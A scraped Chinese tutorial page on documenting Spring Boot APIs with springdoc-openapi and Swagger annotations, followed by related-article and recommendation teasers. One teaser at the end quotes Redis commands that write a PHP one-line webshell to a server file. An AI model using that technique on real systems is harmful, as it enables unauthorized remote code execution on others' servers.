Spring Boot demo系列(八):Swagger
2021.2.24 更新
1 概述
Swagger
主要用于生成API
文档,本文演示了如何使用目前最新的OpenAPI3
以及Swagger
来进行接口文档的生成。
2 依赖
<dependency>
<groupId>org.springdoc</groupId>
<artifactId>springdoc-openapi-ui</artifactId>
<version>1.4.7</version>
</dependency>
Gradle
:
implementation( "org.springdoc:springdoc-openapi-ui:1.4.7")
3 配置
Swagger
的配置很简单,仅需要一个@OpenAPIDefinition
即可,@OpenAPIDefinition
用于描述全局的配置信息,参考配置如下:
info
表示基本信息,比如标题,版本,描述等externalDocs
是参考文档servers
是服务器地址
@OpenAPIDefinition(info = @Info(title = "标题",version = "版本",description = "描述"),
externalDocs = @ExternalDocumentation(description = "参考文档",url = "https://www.baidu.com"),
servers = @Server(url = "http://localhost:8080"))
public class SwaggerConfig {
}
接着在配置文件写上文档路径:
springdoc:
api-docs:
path: /doc
4 访问
运行后直接访问
localhost:8080/swagger-ui/index.html/
会出现如下界面:
搜索栏中输入配置文件中的路径/doc
搜索即可:
或者直接访问:
http://localhost:8080/swagger-ui/index.html?url=/doc
5 控制器
下一步就是添加具体的接口,先来看一个简单的例子:
@RestController
@Tag(name = "测试Controller")
@RequestMapping("/")
public class TestController {
@GetMapping("test")
@Operation(description = "测试接口",tags = "测试Controller")
public String test()
{
return "success";
}
}
运行后可以看到多了一个接口,也就是@Tag
与@Operation
起作用了,注解说明如下:
@Tag
表示标签,name
指定标签的值,也可以加上description
等属性@Operation
作用在方法上,可以指定描述以及标签,也可以指定参数以及返回值等信息
类似的注解还有很多,比如:
@Parameter
:指定参数属性,比如description
、name
等@ApiResponse
:指定返回值,常用的属性有responseCode
以及description
@Schema
:用在实体类上以及实体类字段上,在接口上可以显示对应的值
6 完整示例
下面是一个接口控制器的完整示例:
@RestController
@Tag(name = "测试Controller")
@RequestMapping("/")
public class TestController {
@GetMapping("test")
@Operation(description = "测试接口",tags = {"测试Controller","测试"})
public String test()
{
return "success";
}
@GetMapping("test2")
@Operation(description = "这个也是测试接口",tags = {"测试Controller","2号测试接口"})
@Parameter(description = "必要参数",name = "parm")
public String test2(@RequestParam String parm)
{
return "需要参数";
}
@GetMapping("test3")
@Operation(description = "带有返回状态的接口",tags = {"测试Controller"})
@ApiResponse(responseCode = "111",description = "测试成功")
@ApiResponse(responseCode = "222",description = "测试失败")
public void test3(@RequestBody String body)
{
}
@GetMapping("test4")
@Operation(description = "User接口",tags = {"测试Controller"})
@ApiResponse(responseCode = "100",description = "添加成功")
public void test4(@RequestBody User user)
{
}
}
实体类:
@Getter
@Schema(description = "用户")
public class User {
@Schema(description = "用户名")
private String name;
@Schema(description = "主键")
private String id;
}
效果如图:
7 参考源码
Java
版:
Kotlin
版:
Spring Boot demo系列(八):Swagger的更多相关文章
- Spring Boot demo系列(二):简单三层架构Web应用
2021.2.24 更新 1 概述 这是Spring Boot的第二个Demo,一个只有三层架构的极简Web应用,持久层使用的是MyBatis. 2 架构 一个最简单的Spring Boot Web应 ...
- Spring Boot demo系列(十):Redis缓存
1 概述 本文演示了如何在Spring Boot中将Redis作为缓存使用,具体的内容包括: 环境搭建 项目搭建 测试 2 环境 Redis MySQL MyBatis Plus 3 Redis安装 ...
- Spring Boot demo系列(九):Jasypt
2021.2.24 更新 1 概述 Jasypt是一个加密库,Github上有一个集成了Jasypt的Spring Boot库,叫jasypt-spring-boot,本文演示了如何使用该库对配置文件 ...
- Spring Boot demo系列(六):HTTPS
2021.2.24 更新 1 概述 本文演示了如何给Spring Boot应用加上HTTPS的过程. 2 证书 虽然证书能自己生成,使用JDK自带的keytool即可,但是生产环境是不可能使用自己生成 ...
- Spring Boot demo系列(五):Docker部署
2021.2.24 更新 1 概述 本文讲述了如何使用Docker部署Spring Boot应用,首先介绍了Docker的安装过程,接着介绍了Docker的一些基础知识,最后讲述了Dockerfile ...
- Spring Boot demo系列(四):Spring Web+Validation
2021.2.24 更新 1 概述 本文主要讲述了如何使用Hibernate Validator以及@Valid/@Validate注解. 2 校验 对于一个普通的Spring Boot应用,经常可以 ...
- Spring Boot demo系列(一):Hello World
2021.2.24 更新 1 新建工程 打开IDEA选择新建工程并选择Spring Initializer: 可以在Project JDK处选择JDK版本,下一步是选择包名,语言,构建工具以及打包工具 ...
- Spring Boot demo系列(三):Spring Web+MyBatis Plus
2021.2.24 更新 1 概述 Spring Web+MyBatis Plus的一个Demo,内容和上一篇类似,因此重点放在MyBatis Plus这里. 2 dao层 MyBatis Plus相 ...
- Spring Boot干货系列:(八)数据存储篇-SQL关系型数据库之JdbcTemplate的使用
Spring Boot干货系列:(八)数据存储篇-SQL关系型数据库之JdbcTemplate的使用 原创 2017-04-13 嘟嘟MD 嘟爷java超神学堂 前言 前面几章介绍了一些基础,但都是静 ...
随机推荐
- (转)linux下的系统调用函数到内核函数的追踪
转载网址:http://blog.csdn.net/maochengtao/article/details/23598433 使用的 glibc : glibc-2.17使用的 linux kerne ...
- 用OkHttpGo和FastJson获取OneNET云平台数据(解析嵌套数组)
JSON数据格式有两种,一种是 { } 大括号表示的JSON对象,一种是 [ ] 中括号表示的JSON数组.从OneNET获取到的数组是这样的,并用Json解析网址查看https://jsonform ...
- Guava - LoadingCache实现Java本地缓存
前言 Guava是Google开源出来的一套工具库.其中提供的cache模块非常方便,是一种与ConcurrentMap相似的缓存Map. 官方地址:https://github.com/google ...
- Python3.x 基础练习题100例(41-50)
练习41: 题目: 模仿静态变量的用法. 程序: def varfunc(): var = 0 print('var = %d' % var) var += 1 if __name__ == '__m ...
- vue核心---虚拟dom的实现
生成dom的过程 由vue模板生成虚拟dom 虚拟dom转换成真实dom渲染到html页面 代码实现 要实现的真实dom <div id="box"> <p cl ...
- POJ-1458(LCS:最长公共子序列模板题)
Common Subsequence POJ-1458 //最长公共子序列问题 #include<iostream> #include<algorithm> #include& ...
- CCF(URL映射:80分):字符串处理+模拟
URL映射 CCF201803-3 #include<iostream> #include<cstdio> #include<cstring> #include&l ...
- HTML5基础入门一天学完
HTML 什么是HTML HTML:Hyper Text Markup Language(超文本编辑语言) HTML的发展史 HTML5优势 世界知名浏览器厂商对HTML5的支持 市场的需求 跨平台 ...
- Go中定时器实现原理及源码解析
转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com 本文使用的go的源码15.7,需要注意的是由于timer是1.14版本进行改版,但是1. ...
- redis一句话木马控电脑
(1)在redis管理工具内写入木马并保存: 输入命令行: config set dbfilename shell.php set shell "<?php @assert($_P ...